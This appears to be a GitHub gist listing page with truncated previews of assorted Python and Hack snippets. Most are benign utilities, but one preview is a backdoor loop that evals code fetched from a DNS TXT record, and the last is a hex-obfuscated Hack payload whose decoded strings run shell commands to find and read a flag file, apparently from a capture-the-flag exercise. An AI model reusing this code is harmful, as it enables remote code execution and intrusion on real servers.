This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import struct | |
SAVE_JPG = 0 | |
SAVE_EXTRA = 0 | |
def xor_str_key(data, key): | |
s = '' | |
i = 0 | |
key_len = len(key) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import dns.resolver | |
from time import sleep as zzz | |
SLEEP_TIME=66; KEEP_WORKING=1 | |
while KEEP_WORKING: | |
try: | |
eval(dns.resolver.query('example.com', 'TXT')[0].to_text()); zzz(SLEEP_TIME); | |
print 'tick' | |
except: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
# usage: python a.py 12345678901234567 <- 17 digits ! | |
n = sys.argv[1] | |
for i in range(17): | |
m = 1 | |
if (i%2 == 0): | |
m = 3 | |
s += int(n[i]) * m | |
print "%s%d" %(n, (10 - s%10)) # <- print 18 digits |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# placeholder |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
import os | |
def glue_ex(parts, delim='', preproc=None): | |
if preproc: | |
if isinstance(preproc, list): | |
for fn in preproc: | |
parts = map(fn, parts) | |
elif callable(preproc): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def convert_dotnet_time_int64_to_str(i64): | |
b = bin(i64)[2:].rjust(64,'0') | |
delta = int(b[2:],2)/10000000 | |
import datetime | |
return str(datetime.datetime(1,1,1,0,0,0) + datetime.timedelta(seconds=delta)) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import structio.structio as sio | |
import StringIO | |
import sys | |
import collections | |
import json | |
import pprint | |
EX_IMPLEMENT_ME = Exception("Implement ME !") | |
class PrimitiveJsonable(object): ## lolz |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import datetime | |
from dateutil.parser import parse | |
data = json.loads(open("src.json","r").read()) | |
entries = [] | |
rooms = {} | |
first_date = None | |
last_date = None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cmd=<?HH | |
class C1 { | |
const F1 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61\x2e\x70\x68\x703"; | |
const F2 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61"; | |
const D1 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x69\x6e\x74\x5f\x72\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x2c\x74\x72\x75\x65\x29\x3b\x20\x7d"; | |
const D2 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x66\x69\x6e\x64\x20\x2f\x20\x7c\x20\x67\x72\x65\x70\x20\x66\x6c\x61\x67\x22\x29\x3b\x20\x7d"; | |
const D3 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x63\x61\x74\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x3b\x20\x7d"; | |
} | |
<<__EntryPoint>> |
OlderNewer